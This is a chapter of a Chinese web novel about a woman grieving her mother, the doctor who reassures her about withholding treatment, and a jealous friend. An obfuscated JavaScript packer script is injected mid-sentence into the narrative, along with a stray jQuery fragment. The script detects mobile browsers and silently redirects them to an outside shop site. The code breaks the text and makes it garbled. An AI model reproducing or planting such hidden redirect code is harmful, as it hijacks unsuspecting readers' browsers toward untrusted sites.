早春时节，原本灰败的草木悄悄抽芽，吐出丝丝缕缕的生机，空气中弥漫着带有泥土气息的芬芳，连雨水都温柔得像雾。
在这样宜人的季节里，在绵密如织的细雨里，在漫长的潮湿中，她与“保险箱”女士的躯壳道别。
许阳秋关于这场葬礼的记忆极其模糊，绝大多数时候，她就像是个等cue的人偶。在叫到她名字的时候，或给钱或收钱或鞠躬，或礼貌地给出对“节哀”两字的回应。
她甚至记不得最后一面的场景。
她甚至觉得，她早就失去了妈妈，只是今天才允许她哀悼。
叶一包揽了绝大部分的安排，联系车和一条龙负责人，遵从各种习俗还有办理手续等等。许阳秋只负责了联系宾客这一项，她用“保险箱”女士的手机群发讣告，又电话联系了一部分关系紧密些的亲朋。
其他事基本都在许阳秋的知识范围以外，但叶一每次都能在她提出问题之前给出解答。
葬礼结束，她拒绝叶一陪着她的提议，浑浑噩噩地独自回家，在家待了两天。
第三天，她接到养护院的电话，才想起“保险箱”女士的东西还在医院放着。
重新回到狭窄的病房，许阳秋不自觉地深吸一口气。
但空气中只有酒精混合着消毒水的味道，再无其他。
许阳秋把那间小病房里里外外地检查了一遍，发现“保险箱”女士的东西少得可怜，连个小小的帆布袋都装不满。
一小袋日用品、几件贴身衣物、几本色彩浮夸的童书，还有一个装杂物的老式铁盒，再没有其他。
那个老式铁盒是钱桂很宝贝的东西，里面装了已经褪色的糖纸、不知道哪个年代的人民币、古早电影票根、老式纽扣等等跟她亲亲老公相关的东西。
许阳秋之前为了让她多说几句话，经常随机从里面抽一样东西出来，听她讲那些让人牙酸的恋爱故事。
这项彼此“折磨”的活动，最后一次进行是在大半年之前。随着时间的推移，这项练习逐渐失去意义，这个铁盒也大半年没被打开过了。
许阳秋没有打开，直接把铁盒子塞进包里，盒子咣啷咣啷地响。
门口刚好有人经过，大约是被咣啷咣啷的声响惊扰，停下脚步看过来。
许阳秋察觉到视线，抬头发现是王医生。
她第无数次听到“节哀”两个字，第无数次得体地感谢。
王医生说完却没走，反而走进来，一副欲言又止的样子。
许阳秋问：“王医生，有事吗？”
“你还好吗？”他语气犹豫，“这才过了几天，你看起来憔悴很多。”
“还好，谢谢关心。”许阳秋有些诧异地说，“我还以为你不太愿意搭理我呢。”
这回换王医生感到诧异，“这话怎么说？”
“我还以为你觉得我就是那种放弃治疗的不孝子，既不肯插胃管，也不肯抢救，所以才一遍又一遍地劝我。”
“那是你想多了，哪个不孝子肯砸出一套内环房子的钱让母亲住养护医院？”王医生说完朝门外看了眼，抬手关上门，压低声音说，“其实我一直想找机会跟你说几句话。”
“说什么？”
“我们是私立医院，追求服务质量，也追求盈利。我们不允许医生跟患者或是家属说丧气话，毕竟能把患者送到这里来的家属，都是真心在意患者，宁可砸钱也要治疗。所以公司制度要求，不能主动提出放弃治疗，就算家属提出，也要再三劝说。”
许阳秋大概猜到了他要说什么，眼眶的酸涩快要压不住。
王医生在她手臂上轻拍两下，柔声说：“做了选择之后，没人能知道另一个选择的结果，所以我没法告诉你，你的选择绝对正确。但是我想跟你说，你是个有勇气的人。很少有人愿意背负这样的罪名，去决定另一个人的命运。多数人都觉得不作为、不决策，那就不会感到罪恶。”
许阳秋深深呼出一口气，抬手揉揉脸。
“这是个很大的决定，很不容易。要是实在过不去，你有我的联系方式，之后也可以找我聊聊。”
她缓了好久才缓缓开口：“谢谢你啊。”声音好哑，她清了清嗓子，“我是需要听到这些的，谢谢。”
从医院出来之后，许阳秋拎着胡乱作响的帆布袋走进车里。
坐进驾驶室后，她从包里掏出那个老式铁盒，把里面的东西一样一样地拿出来看。
几乎每样东西的故事她都听过好几次，
比如那个褪色的糖纸，是许魄托人从国外买的巧克力，每次都会囤一大堆，她吃完就再找人买。那时候没有跨境电商，全靠人肉代购。据说许魄把他有出国机会的朋友、同学都烦了个遍。
后来钱桂吃胖了，这项浩浩荡荡的秀恩爱计划才作罢。
还有那个电影票根，是钱桂主动邀请许魄去看电影，可许魄迟到了几分钟，她就闹了大脾气，最终谁也没看上......
她把零零碎碎的杂物拿出来，脑海里播放着钱桂或清晰或含糊的讲述声。
钱桂的记忆变成她的，铺天盖地。
忽然，她在见底的盒子里看到一张叠成三角形的黄纸。
那是一张道家的黄符，符咒用红色的朱砂勾勒。
“保险箱”女士是她见过最迷信的人，因此这类东西在她家司空见惯。
卧室窗户坏了关不上——有脏东西，请个符贴上。
窗户漏风把许魄吹感冒，快一个月都没好——有脏东西，请个符贴......许魄不让贴脑门，只好烧掉。
甚至许阳秋多跟她顶两句嘴，她都要找道士请个安神符，给她塞到枕头底下。
有时候她甚至怀疑，像许魄这么坚定的无神论者，能跟她过一辈子，纯粹是因为她长得好。
但关于这个符背后的故事，许阳秋却并不知道。
每次问“保险箱”女士，她都紧紧闭着嘴巴，什么都不肯说，只是一个劲儿地笑。
符纸外侧用朱砂写着一串日期，19xx.03.15。
算算时间，那会儿许阳秋不到一岁。
因此许阳秋猜测，这张符大约是钱桂请来保佑他们婚姻幸福，家庭和睦的。
等她看完整个盒子里的所有物件，在回忆里浸泡个够，天已经彻底黑了。
咚、咚。
驾驶室的车窗被人敲响，是王医生。
许阳秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233390|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摇下车窗，这才发现他没穿着那身白大褂，而是换回了日常的衣服。
“你还在这？”说话间，他透过车窗的缝隙看向她的脸，愣了一瞬，接着说，“风大，擦擦眼睛吧，别吹风。”
许阳秋她把后视镜掰过来照了照，才发现自己满脸都是水痕，她抽出一张纸巾擦了擦，跟王医生说声抱歉。
“你还好吗？”王医生满脸担忧。
许阳秋说：“没事，这就回去了。”
王医生温声说：“你这样能开车吗？我送你回去吧，你住哪？”
晚风一吹，她缺氧的大脑传来一阵隐痛，好像确实不太适合开车。
许阳秋报了个街区。
“嗯？”王医生瞪大眼睛，“我也住在那附近，我送你回去吧。”
许阳秋点点头。
王医生颇为体贴地问：“开你的车还是开我的？要不开你的吧，这样省得你再跑一趟。”
王医生实在细心，她确实没有理由再来这里了。
许阳秋让出驾驶室，坐在副驾，真诚地跟王医生道谢。
路上王医生关心了她几句，甚至跟她讲了些“保险箱”女士在医院的事。
说她不爱打针，急了还会哼哼唧唧地跟护士撒娇。
说她破坏力很强，曾经徒手把特质的把手扯下来，扯完还沿着桌线端端正正地摆成一排。
......
许阳秋听了一会，很突然地说：“王医生，你知道钱桂她是个什么样的人吗？”
“你是说她生病以前？”
“对。”
“看不出来。”王医生问，“她是什么样的人？”
“她是那种特别爱美的女人，会看时尚杂志，从小到大都有属于自己的衣帽间。她精致又骄傲，在我十二岁以前，她连生菜和油麦菜都分不清楚。”许阳秋轻声说，“你说我有勇气......但其实不是。我只是猜她应该不愿意这样.......应该吧？”
“别多想。”王医生轻声细语地宽慰她，“你已经做得很好了。”
风声隔着玻璃入耳，恍若温柔的低语。晚风低语环绕车身，送她回家。
王医生很有分寸感地把车停在车库入口，接着就下了车，绕到副驾驶的窗外，半开玩笑地说：“这段路你自己开没问题吧？”
说完他颇为绅士地帮许阳秋拉开车门，她低声道谢，驾车驶入车库。
看到许阳秋车的时候，叶一正拎着买回来的菜往家走。
袋子里没了内脏的石斑鱼仍然在拼命跳动，不知道在挣扎什么。
他站在原地看着王医生从许阳秋的车上下来，看着他为她开门，看着他目送她开入车库。
医生总好过一个无用的人。
一切都想得很清楚，但想归想，甘心归甘心。
叶一的手无视大脑的指令，敲下几个字：
【晚上一起吃饭吗？我会蒸石斑鱼。】
许阳秋许久没有回复。
他在带着寒意的春风里不知等了多久，才收到消息。
【想吃。】
【可是我很累，想自己待一会。】
这下痛快了。
死心了？